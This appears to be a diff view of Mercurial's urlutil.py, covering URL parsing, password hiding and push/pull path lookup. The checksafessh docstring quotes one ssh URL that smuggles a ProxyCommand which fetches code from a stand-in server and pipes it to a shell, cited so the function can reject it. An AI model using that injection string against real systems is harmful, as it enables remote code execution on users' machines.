3377 enabled.
3378 (default: 384)
3378 (default: 384)
3379
3379
3380 ``backgroundclosethreadcount``
3380 ``backgroundclosethreadcount``
3381 Number of threads to process background file closes. Only relevant if
3381 Number of threads to process background file closes. Only relevant if
3382 ``backgroundclose`` is enabled.
3382 ``backgroundclose`` is enabled.
3383 (default: 4)
3383 (default: 4)
@@ -1,960 +1,962 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27 from ..revlogutils import (
27 from ..revlogutils import (
28 constants as revlog_constants,
28 constants as revlog_constants,
29 )
29 )
30
30
31
31
32 if pycompat.TYPE_CHECKING:
32 if pycompat.TYPE_CHECKING:
33 from typing import (
33 from typing import (
34 Union,
34 Union,
35 )
35 )
36
36
37 urlreq = urllibcompat.urlreq
37 urlreq = urllibcompat.urlreq
38
38
39
39
40 def getport(port):
40 def getport(port):
41 # type: (Union[bytes, int]) -> int
41 # type: (Union[bytes, int]) -> int
42 """Return the port for a given network service.
42 """Return the port for a given network service.
43
43
44 If port is an integer, it's returned as is. If it's a string, it's
44 If port is an integer, it's returned as is. If it's a string, it's
45 looked up using socket.getservbyname(). If there's no matching
45 looked up using socket.getservbyname(). If there's no matching
46 service, error.Abort is raised.
46 service, error.Abort is raised.
47 """
47 """
48 try:
48 try:
49 return int(port)
49 return int(port)
50 except ValueError:
50 except ValueError:
51 pass
51 pass
52
52
53 try:
53 try:
54 return socket.getservbyname(pycompat.sysstr(port))
54 return socket.getservbyname(pycompat.sysstr(port))
55 except socket.error:
55 except socket.error:
56 raise error.Abort(
56 raise error.Abort(
57 _(b"no port number associated with service '%s'") % port
57 _(b"no port number associated with service '%s'") % port
58 )
58 )
59
59
60
60
61 class url:
61 class url:
62 r"""Reliable URL parser.
62 r"""Reliable URL parser.
63
63
64 This parses URLs and provides attributes for the following
64 This parses URLs and provides attributes for the following
65 components:
65 components:
66
66
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68
68
69 Missing components are set to None. The only exception is
69 Missing components are set to None. The only exception is
70 fragment, which is set to '' if present but empty.
70 fragment, which is set to '' if present but empty.
71
71
72 If parsefragment is False, fragment is included in query. If
72 If parsefragment is False, fragment is included in query. If
73 parsequery is False, query is included in path. If both are
73 parsequery is False, query is included in path. If both are
74 False, both fragment and query are included in path.
74 False, both fragment and query are included in path.
75
75
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77
77
78 Note that for backward compatibility reasons, bundle URLs do not
78 Note that for backward compatibility reasons, bundle URLs do not
79 take host names. That means 'bundle://../' has a path of '../'.
79 take host names. That means 'bundle://../' has a path of '../'.
80
80
81 Examples:
81 Examples:
82
82
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 >>> url(b'file:///home/joe/repo')
87 >>> url(b'file:///home/joe/repo')
88 <url scheme: 'file', path: '/home/joe/repo'>
88 <url scheme: 'file', path: '/home/joe/repo'>
89 >>> url(b'file:///c:/temp/foo/')
89 >>> url(b'file:///c:/temp/foo/')
90 <url scheme: 'file', path: 'c:/temp/foo/'>
90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 >>> url(b'bundle:foo')
91 >>> url(b'bundle:foo')
92 <url scheme: 'bundle', path: 'foo'>
92 <url scheme: 'bundle', path: 'foo'>
93 >>> url(b'bundle://../foo')
93 >>> url(b'bundle://../foo')
94 <url scheme: 'bundle', path: '../foo'>
94 <url scheme: 'bundle', path: '../foo'>
95 >>> url(br'c:\foo\bar')
95 >>> url(br'c:\foo\bar')
96 <url path: 'c:\\foo\\bar'>
96 <url path: 'c:\\foo\\bar'>
97 >>> url(br'\\blah\blah\blah')
97 >>> url(br'\\blah\blah\blah')
98 <url path: '\\\\blah\\blah\\blah'>
98 <url path: '\\\\blah\\blah\\blah'>
99 >>> url(br'\\blah\blah\blah#baz')
99 >>> url(br'\\blah\blah\blah#baz')
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 >>> url(br'file:///C:\users\me')
101 >>> url(br'file:///C:\users\me')
102 <url scheme: 'file', path: 'C:\\users\\me'>
102 <url scheme: 'file', path: 'C:\\users\\me'>
103
103
104 Authentication credentials:
104 Authentication credentials:
105
105
106 >>> url(b'ssh://joe:xyz@x/repo')
106 >>> url(b'ssh://joe:xyz@x/repo')
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 >>> url(b'ssh://joe@x/repo')
108 >>> url(b'ssh://joe@x/repo')
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110
110
111 Query strings and fragments:
111 Query strings and fragments:
112
112
113 >>> url(b'http://host/a?b#c')
113 >>> url(b'http://host/a?b#c')
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117
117
118 Empty path:
118 Empty path:
119
119
120 >>> url(b'')
120 >>> url(b'')
121 <url path: ''>
121 <url path: ''>
122 >>> url(b'#a')
122 >>> url(b'#a')
123 <url path: '', fragment: 'a'>
123 <url path: '', fragment: 'a'>
124 >>> url(b'http://host/')
124 >>> url(b'http://host/')
125 <url scheme: 'http', host: 'host', path: ''>
125 <url scheme: 'http', host: 'host', path: ''>
126 >>> url(b'http://host/#a')
126 >>> url(b'http://host/#a')
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128
128
129 Only scheme:
129 Only scheme:
130
130
131 >>> url(b'http:')
131 >>> url(b'http:')
132 <url scheme: 'http'>
132 <url scheme: 'http'>
133 """
133 """
134
134
135 _safechars = b"!~*'()+"
135 _safechars = b"!~*'()+"
136 _safepchars = b"/!~*'()+:\\"
136 _safepchars = b"/!~*'()+:\\"
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138
138
139 def __init__(self, path, parsequery=True, parsefragment=True):
139 def __init__(self, path, parsequery=True, parsefragment=True):
140 # type: (bytes, bool, bool) -> None
140 # type: (bytes, bool, bool) -> None
141 # We slowly chomp away at path until we have only the path left
141 # We slowly chomp away at path until we have only the path left
142 self.scheme = self.user = self.passwd = self.host = None
142 self.scheme = self.user = self.passwd = self.host = None
143 self.port = self.path = self.query = self.fragment = None
143 self.port = self.path = self.query = self.fragment = None
144 self._localpath = True
144 self._localpath = True
145 self._hostport = b''
145 self._hostport = b''
146 self._origpath = path
146 self._origpath = path
147
147
148 if parsefragment and b'#' in path:
148 if parsefragment and b'#' in path:
149 path, self.fragment = path.split(b'#', 1)
149 path, self.fragment = path.split(b'#', 1)
150
150
151 # special case for Windows drive letters and UNC paths
151 # special case for Windows drive letters and UNC paths
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 self.path = path
153 self.path = path
154 return
154 return
155
155
156 # For compatibility reasons, we can't handle bundle paths as
156 # For compatibility reasons, we can't handle bundle paths as
157 # normal URLS
157 # normal URLS
158 if path.startswith(b'bundle:'):
158 if path.startswith(b'bundle:'):
159 self.scheme = b'bundle'
159 self.scheme = b'bundle'
160 path = path[7:]
160 path = path[7:]
161 if path.startswith(b'//'):
161 if path.startswith(b'//'):
162 path = path[2:]
162 path = path[2:]
163 self.path = path
163 self.path = path
164 return
164 return
165
165
166 if self._matchscheme(path):
166 if self._matchscheme(path):
167 parts = path.split(b':', 1)
167 parts = path.split(b':', 1)
168 if parts[0]:
168 if parts[0]:
169 self.scheme, path = parts
169 self.scheme, path = parts
170 self._localpath = False
170 self._localpath = False
171
171
172 if not path:
172 if not path:
173 path = None
173 path = None
174 if self._localpath:
174 if self._localpath:
175 self.path = b''
175 self.path = b''
176 return
176 return
177 else:
177 else:
178 if self._localpath:
178 if self._localpath:
179 self.path = path
179 self.path = path
180 return
180 return
181
181
182 if parsequery and b'?' in path:
182 if parsequery and b'?' in path:
183 path, self.query = path.split(b'?', 1)
183 path, self.query = path.split(b'?', 1)
184 if not path:
184 if not path:
185 path = None
185 path = None
186 if not self.query:
186 if not self.query:
187 self.query = None
187 self.query = None
188
188
189 # // is required to specify a host/authority
189 # // is required to specify a host/authority
190 if path and path.startswith(b'//'):
190 if path and path.startswith(b'//'):
191 parts = path[2:].split(b'/', 1)
191 parts = path[2:].split(b'/', 1)
192 if len(parts) > 1:
192 if len(parts) > 1:
193 self.host, path = parts
193 self.host, path = parts
194 else:
194 else:
195 self.host = parts[0]
195 self.host = parts[0]
196 path = None
196 path = None
197 if not self.host:
197 if not self.host:
198 self.host = None
198 self.host = None
199 # path of file:///d is /d
199 # path of file:///d is /d
200 # path of file:///d:/ is d:/, not /d:/
200 # path of file:///d:/ is d:/, not /d:/
201 if path and not hasdriveletter(path):
201 if path and not hasdriveletter(path):
202 path = b'/' + path
202 path = b'/' + path
203
203
204 if self.host and b'@' in self.host:
204 if self.host and b'@' in self.host:
205 self.user, self.host = self.host.rsplit(b'@', 1)
205 self.user, self.host = self.host.rsplit(b'@', 1)
206 if b':' in self.user:
206 if b':' in self.user:
207 self.user, self.passwd = self.user.split(b':', 1)
207 self.user, self.passwd = self.user.split(b':', 1)
208 if not self.host:
208 if not self.host:
209 self.host = None
209 self.host = None
210
210
211 # Don't split on colons in IPv6 addresses without ports
211 # Don't split on colons in IPv6 addresses without ports
212 if (
212 if (
213 self.host
213 self.host
214 and b':' in self.host
214 and b':' in self.host
215 and not (
215 and not (
216 self.host.startswith(b'[') and self.host.endswith(b']')
216 self.host.startswith(b'[') and self.host.endswith(b']')
217 )
217 )
218 ):
218 ):
219 self._hostport = self.host
219 self._hostport = self.host
220 self.host, self.port = self.host.rsplit(b':', 1)
220 self.host, self.port = self.host.rsplit(b':', 1)
221 if not self.host:
221 if not self.host:
222 self.host = None
222 self.host = None
223
223
224 if (
224 if (
225 self.host
225 self.host
226 and self.scheme == b'file'
226 and self.scheme == b'file'
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 ):
228 ):
229 raise error.Abort(
229 raise error.Abort(
230 _(b'file:// URLs can only refer to localhost')
230 _(b'file:// URLs can only refer to localhost')
231 )
231 )
232
232
233 self.path = path
233 self.path = path
234
234
235 # leave the query string escaped
235 # leave the query string escaped
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
237 v = getattr(self, a)
237 v = getattr(self, a)
238 if v is not None:
238 if v is not None:
239 setattr(self, a, urlreq.unquote(v))
239 setattr(self, a, urlreq.unquote(v))
240
240
241 def copy(self):
241 def copy(self):
242 u = url(b'temporary useless value')
242 u = url(b'temporary useless value')
243 u.path = self.path
243 u.path = self.path
244 u.scheme = self.scheme
244 u.scheme = self.scheme
245 u.user = self.user
245 u.user = self.user
246 u.passwd = self.passwd
246 u.passwd = self.passwd
247 u.host = self.host
247 u.host = self.host
248 u.port = self.port
248 u.port = self.port
249 u.query = self.query
249 u.query = self.query
250 u.fragment = self.fragment
250 u.fragment = self.fragment
251 u._localpath = self._localpath
251 u._localpath = self._localpath
252 u._hostport = self._hostport
252 u._hostport = self._hostport
253 u._origpath = self._origpath
253 u._origpath = self._origpath
254 return u
254 return u
255
255
256 @encoding.strmethod
256 @encoding.strmethod
257 def __repr__(self):
257 def __repr__(self):
258 attrs = []
258 attrs = []
259 for a in (
259 for a in (
260 b'scheme',
260 b'scheme',
261 b'user',
261 b'user',
262 b'passwd',
262 b'passwd',
263 b'host',
263 b'host',
264 b'port',
264 b'port',
265 b'path',
265 b'path',
266 b'query',
266 b'query',
267 b'fragment',
267 b'fragment',
268 ):
268 ):
269 v = getattr(self, a)
269 v = getattr(self, a)
270 if v is not None:
270 if v is not None:
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
272 return b'<url %s>' % b', '.join(attrs)
272 return b'<url %s>' % b', '.join(attrs)
273
273
274 def __bytes__(self):
274 def __bytes__(self):
275 r"""Join the URL's components back into a URL string.
275 r"""Join the URL's components back into a URL string.
276
276
277 Examples:
277 Examples:
278
278
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
282 'http://user:pw@host:80/?foo=bar&baz=42'
282 'http://user:pw@host:80/?foo=bar&baz=42'
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
284 'http://user:pw@host:80/?foo=bar%3dbaz'
284 'http://user:pw@host:80/?foo=bar%3dbaz'
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
286 'ssh://user:pw@[::1]:2200//home/joe#'
286 'ssh://user:pw@[::1]:2200//home/joe#'
287 >>> bytes(url(b'http://localhost:80//'))
287 >>> bytes(url(b'http://localhost:80//'))
288 'http://localhost:80//'
288 'http://localhost:80//'
289 >>> bytes(url(b'http://localhost:80/'))
289 >>> bytes(url(b'http://localhost:80/'))
290 'http://localhost:80/'
290 'http://localhost:80/'
291 >>> bytes(url(b'http://localhost:80'))
291 >>> bytes(url(b'http://localhost:80'))
292 'http://localhost:80/'
292 'http://localhost:80/'
293 >>> bytes(url(b'bundle:foo'))
293 >>> bytes(url(b'bundle:foo'))
294 'bundle:foo'
294 'bundle:foo'
295 >>> bytes(url(b'bundle://../foo'))
295 >>> bytes(url(b'bundle://../foo'))
296 'bundle:../foo'
296 'bundle:../foo'
297 >>> bytes(url(b'path'))
297 >>> bytes(url(b'path'))
298 'path'
298 'path'
299 >>> bytes(url(b'file:///tmp/foo/bar'))
299 >>> bytes(url(b'file:///tmp/foo/bar'))
300 'file:///tmp/foo/bar'
300 'file:///tmp/foo/bar'
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
302 'file:///c:/tmp/foo/bar'
302 'file:///c:/tmp/foo/bar'
303 >>> print(url(br'bundle:foo\bar'))
303 >>> print(url(br'bundle:foo\bar'))
304 bundle:foo\bar
304 bundle:foo\bar
305 >>> print(url(br'file:///D:\data\hg'))
305 >>> print(url(br'file:///D:\data\hg'))
306 file:///D:\data\hg
306 file:///D:\data\hg
307 """
307 """
308 if self._localpath:
308 if self._localpath:
309 s = self.path
309 s = self.path
310 if self.scheme == b'bundle':
310 if self.scheme == b'bundle':
311 s = b'bundle:' + s
311 s = b'bundle:' + s
312 if self.fragment:
312 if self.fragment:
313 s += b'#' + self.fragment
313 s += b'#' + self.fragment
314 return s
314 return s
315
315
316 s = self.scheme + b':'
316 s = self.scheme + b':'
317 if self.user or self.passwd or self.host:
317 if self.user or self.passwd or self.host:
318 s += b'//'
318 s += b'//'
319 elif self.scheme and (
319 elif self.scheme and (
320 not self.path
320 not self.path
321 or self.path.startswith(b'/')
321 or self.path.startswith(b'/')
322 or hasdriveletter(self.path)
322 or hasdriveletter(self.path)
323 ):
323 ):
324 s += b'//'
324 s += b'//'
325 if hasdriveletter(self.path):
325 if hasdriveletter(self.path):
326 s += b'/'
326 s += b'/'
327 if self.user:
327 if self.user:
328 s += urlreq.quote(self.user, safe=self._safechars)
328 s += urlreq.quote(self.user, safe=self._safechars)
329 if self.passwd:
329 if self.passwd:
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
331 if self.user or self.passwd:
331 if self.user or self.passwd:
332 s += b'@'
332 s += b'@'
333 if self.host:
333 if self.host:
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
335 s += urlreq.quote(self.host)
335 s += urlreq.quote(self.host)
336 else:
336 else:
337 s += self.host
337 s += self.host
338 if self.port:
338 if self.port:
339 s += b':' + urlreq.quote(self.port)
339 s += b':' + urlreq.quote(self.port)
340 if self.host:
340 if self.host:
341 s += b'/'
341 s += b'/'
342 if self.path:
342 if self.path:
343 # TODO: similar to the query string, we should not unescape the
343 # TODO: similar to the query string, we should not unescape the
344 # path when we store it, the path might contain '%2f' = '/',
344 # path when we store it, the path might contain '%2f' = '/',
345 # which we should *not* escape.
345 # which we should *not* escape.
346 s += urlreq.quote(self.path, safe=self._safepchars)
346 s += urlreq.quote(self.path, safe=self._safepchars)
347 if self.query:
347 if self.query:
348 # we store the query in escaped form.
348 # we store the query in escaped form.
349 s += b'?' + self.query
349 s += b'?' + self.query
350 if self.fragment is not None:
350 if self.fragment is not None:
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
352 return s
352 return s
353
353
354 __str__ = encoding.strmethod(__bytes__)
354 __str__ = encoding.strmethod(__bytes__)
355
355
356 def authinfo(self):
356 def authinfo(self):
357 user, passwd = self.user, self.passwd
357 user, passwd = self.user, self.passwd
358 try:
358 try:
359 self.user, self.passwd = None, None
359 self.user, self.passwd = None, None
360 s = bytes(self)
360 s = bytes(self)
361 finally:
361 finally:
362 self.user, self.passwd = user, passwd
362 self.user, self.passwd = user, passwd
363 if not self.user:
363 if not self.user:
364 return (s, None)
364 return (s, None)
365 # authinfo[1] is passed to urllib2 password manager, and its
365 # authinfo[1] is passed to urllib2 password manager, and its
366 # URIs must not contain credentials. The host is passed in the
366 # URIs must not contain credentials. The host is passed in the
367 # URIs list because Python < 2.4.3 uses only that to search for
367 # URIs list because Python < 2.4.3 uses only that to search for
368 # a password.
368 # a password.
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
370
370
371 def isabs(self):
371 def isabs(self):
372 if self.scheme and self.scheme != b'file':
372 if self.scheme and self.scheme != b'file':
373 return True # remote URL
373 return True # remote URL
374 if hasdriveletter(self.path):
374 if hasdriveletter(self.path):
375 return True # absolute for our purposes - can't be joined()
375 return True # absolute for our purposes - can't be joined()
376 if self.path.startswith(br'\\'):
376 if self.path.startswith(br'\\'):
377 return True # Windows UNC path
377 return True # Windows UNC path
378 if self.path.startswith(b'/'):
378 if self.path.startswith(b'/'):
379 return True # POSIX-style
379 return True # POSIX-style
380 return False
380 return False
381
381
382 def localpath(self):
382 def localpath(self):
383 # type: () -> bytes
383 # type: () -> bytes
384 if self.scheme == b'file' or self.scheme == b'bundle':
384 if self.scheme == b'file' or self.scheme == b'bundle':
385 path = self.path or b'/'
385 path = self.path or b'/'
386 # For Windows, we need to promote hosts containing drive
386 # For Windows, we need to promote hosts containing drive
387 # letters to paths with drive letters.
387 # letters to paths with drive letters.
388 if hasdriveletter(self._hostport):
388 if hasdriveletter(self._hostport):
389 path = self._hostport + b'/' + self.path
389 path = self._hostport + b'/' + self.path
390 elif (
390 elif (
391 self.host is not None and self.path and not hasdriveletter(path)
391 self.host is not None and self.path and not hasdriveletter(path)
392 ):
392 ):
393 path = b'/' + path
393 path = b'/' + path
394 return path
394 return path
395 return self._origpath
395 return self._origpath
396
396
397 def islocal(self):
397 def islocal(self):
398 '''whether localpath will return something that posixfile can open'''
398 '''whether localpath will return something that posixfile can open'''
399 return (
399 return (
400 not self.scheme
400 not self.scheme
401 or self.scheme == b'file'
401 or self.scheme == b'file'
402 or self.scheme == b'bundle'
402 or self.scheme == b'bundle'
403 )
403 )
404
404
405
405
406 def hasscheme(path):
406 def hasscheme(path):
407 # type: (bytes) -> bool
407 # type: (bytes) -> bool
408 return bool(url(path).scheme) # cast to help pytype
408 return bool(url(path).scheme) # cast to help pytype
409
409
410
410
411 def hasdriveletter(path):
411 def hasdriveletter(path):
412 # type: (bytes) -> bool
412 # type: (bytes) -> bool
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
414
414
415
415
416 def urllocalpath(path):
416 def urllocalpath(path):
417 # type: (bytes) -> bytes
417 # type: (bytes) -> bytes
418 return url(path, parsequery=False, parsefragment=False).localpath()
418 return url(path, parsequery=False, parsefragment=False).localpath()
419
419
420
420
421 def checksafessh(path):
421 def checksafessh(path):
422 # type: (bytes) -> None
422 # type: (bytes) -> None
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
424
424
425 This is a sanity check for ssh urls. ssh will parse the first item as
425 This is a sanity check for ssh urls. ssh will parse the first item as
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
427 Let's prevent these potentially exploited urls entirely and warn the
427 Let's prevent these potentially exploited urls entirely and warn the
428 user.
428 user.
429
429
430 Raises an error.Abort when the url is unsafe.
430 Raises an error.Abort when the url is unsafe.
431 """
431 """
432 path = urlreq.unquote(path)
432 path = urlreq.unquote(path)
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
434 raise error.Abort(
434 raise error.Abort(
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
436 )
436 )
437
437
438
438
439 def hidepassword(u):
439 def hidepassword(u):
440 # type: (bytes) -> bytes
440 # type: (bytes) -> bytes
441 '''hide user credential in a url string'''
441 '''hide user credential in a url string'''
442 u = url(u)
442 u = url(u)
443 if u.passwd:
443 if u.passwd:
444 u.passwd = b'***'
444 u.passwd = b'***'
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def removeauth(u):
448 def removeauth(u):
449 # type: (bytes) -> bytes
449 # type: (bytes) -> bytes
450 '''remove all authentication information from a url string'''
450 '''remove all authentication information from a url string'''
451 u = url(u)
451 u = url(u)
452 u.user = u.passwd = None
452 u.user = u.passwd = None
453 return bytes(u)
453 return bytes(u)
454
454
455
455
456 def list_paths(ui, target_path=None):
456 def list_paths(ui, target_path=None):
457 """list all the (name, paths) in the passed ui"""
457 """list all the (name, paths) in the passed ui"""
458 result = []
458 result = []
459 if target_path is None:
459 if target_path is None:
460 for name, paths in sorted(ui.paths.items()):
460 for name, paths in sorted(ui.paths.items()):
461 for p in paths:
461 for p in paths:
462 result.append((name, p))
462 result.append((name, p))
463
463
464 else:
464 else:
465 for path in ui.paths.get(target_path, []):
465 for path in ui.paths.get(target_path, []):
466 result.append((target_path, path))
466 result.append((target_path, path))
467 return result
467 return result
468
468
469
469
470 def try_path(ui, url):
470 def try_path(ui, url):
471 """try to build a path from a url
471 """try to build a path from a url
472
472
473 Return None if no Path could built.
473 Return None if no Path could built.
474 """
474 """
475 try:
475 try:
476 # we pass the ui instance are warning might need to be issued
476 # we pass the ui instance are warning might need to be issued
477 return path(ui, None, rawloc=url)
477 return path(ui, None, rawloc=url)
478 except ValueError:
478 except ValueError:
479 return None
479 return None
480
480
481
481
482 def get_push_paths(repo, ui, dests):
482 def get_push_paths(repo, ui, dests):
483 """yields all the `path` selected as push destination by `dests`"""
483 """yields all the `path` selected as push destination by `dests`"""
484 if not dests:
484 if not dests:
485 if b'default-push' in ui.paths:
485 if b'default-push' in ui.paths:
486 for p in ui.paths[b'default-push']:
486 for p in ui.paths[b'default-push']:
487 yield p.get_push_variant()
487 yield p.get_push_variant()
488 elif b'default' in ui.paths:
488 elif b'default' in ui.paths:
489 for p in ui.paths[b'default']:
489 for p in ui.paths[b'default']:
490 yield p.get_push_variant()
490 yield p.get_push_variant()
491 else:
491 else:
492 raise error.ConfigError(
492 raise error.ConfigError(
493 _(b'default repository not configured!'),
493 _(b'default repository not configured!'),
494 hint=_(b"see 'hg help config.paths'"),
494 hint=_(b"see 'hg help config.paths'"),
495 )
495 )
496 else:
496 else:
497 for dest in dests:
497 for dest in dests:
498 if dest in ui.paths:
498 if dest in ui.paths:
499 for p in ui.paths[dest]:
499 for p in ui.paths[dest]:
500 yield p.get_push_variant()
500 yield p.get_push_variant()
501 else:
501 else:
502 path = try_path(ui, dest)
502 path = try_path(ui, dest)
503 if path is None:
503 if path is None:
504 msg = _(b'repository %s does not exist')
504 msg = _(b'repository %s does not exist')
505 msg %= dest
505 msg %= dest
506 raise error.RepoError(msg)
506 raise error.RepoError(msg)
507 yield path.get_push_variant()
507 yield path.get_push_variant()
508
508
509
509
510 def get_pull_paths(repo, ui, sources):
510 def get_pull_paths(repo, ui, sources):
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
512 if not sources:
512 if not sources:
513 sources = [b'default']
513 sources = [b'default']
514 for source in sources:
514 for source in sources:
515 if source in ui.paths:
515 if source in ui.paths:
516 for p in ui.paths[source]:
516 for p in ui.paths[source]:
517 yield p
517 yield p
518 else:
518 else:
519 p = path(ui, None, source, validate_path=False)
519 p = path(ui, None, source, validate_path=False)
520 yield p
520 yield p
521
521
522
522
523 def get_unique_push_path(action, repo, ui, dest=None):
523 def get_unique_push_path(action, repo, ui, dest=None):
524 """return a unique `path` or abort if multiple are found
524 """return a unique `path` or abort if multiple are found
525
525
526 This is useful for command and action that does not support multiple
526 This is useful for command and action that does not support multiple
527 destination (yet).
527 destination (yet).
528
528
529 The `action` parameter will be used for the error message.
529 The `action` parameter will be used for the error message.
530 """
530 """
531 if dest is None:
531 if dest is None:
532 dests = []
532 dests = []
533 else:
533 else:
534 dests = [dest]
534 dests = [dest]
535 dests = list(get_push_paths(repo, ui, dests))
535 dests = list(get_push_paths(repo, ui, dests))
536 if len(dests) != 1:
536 if len(dests) != 1:
537 if dest is None:
537 if dest is None:
538 msg = _(
538 msg = _(
539 b"default path points to %d urls while %s only supports one"
539 b"default path points to %d urls while %s only supports one"
540 )
540 )
541 msg %= (len(dests), action)
541 msg %= (len(dests), action)
542 else:
542 else:
543 msg = _(b"path points to %d urls while %s only supports one: %s")
543 msg = _(b"path points to %d urls while %s only supports one: %s")
544 msg %= (len(dests), action, dest)
544 msg %= (len(dests), action, dest)
545 raise error.Abort(msg)
545 raise error.Abort(msg)
546 return dests[0]
546 return dests[0]
547
547
548
548
549 def get_unique_pull_path_obj(action, ui, source=None):
549 def get_unique_pull_path_obj(action, ui, source=None):
550 """return a unique `(path, branch)` or abort if multiple are found
550 """return a unique `(path, branch)` or abort if multiple are found
551
551
552 This is useful for command and action that does not support multiple
552 This is useful for command and action that does not support multiple
553 destination (yet).
553 destination (yet).
554
554
555 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
556
556
557 note: Ideally, this function would be called `get_unique_pull_path` to
557 note: Ideally, this function would be called `get_unique_pull_path` to
558 mirror the `get_unique_push_path`, but the name was already taken.
558 mirror the `get_unique_push_path`, but the name was already taken.
559 """
559 """
560 sources = []
560 sources = []
561 if source is not None:
561 if source is not None:
562 sources.append(source)
562 sources.append(source)
563
563
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
565 path_count = len(pull_paths)
565 path_count = len(pull_paths)
566 if path_count != 1:
566 if path_count != 1:
567 if source is None:
567 if source is None:
568 msg = _(
568 msg = _(
569 b"default path points to %d urls while %s only supports one"
569 b"default path points to %d urls while %s only supports one"
570 )
570 )
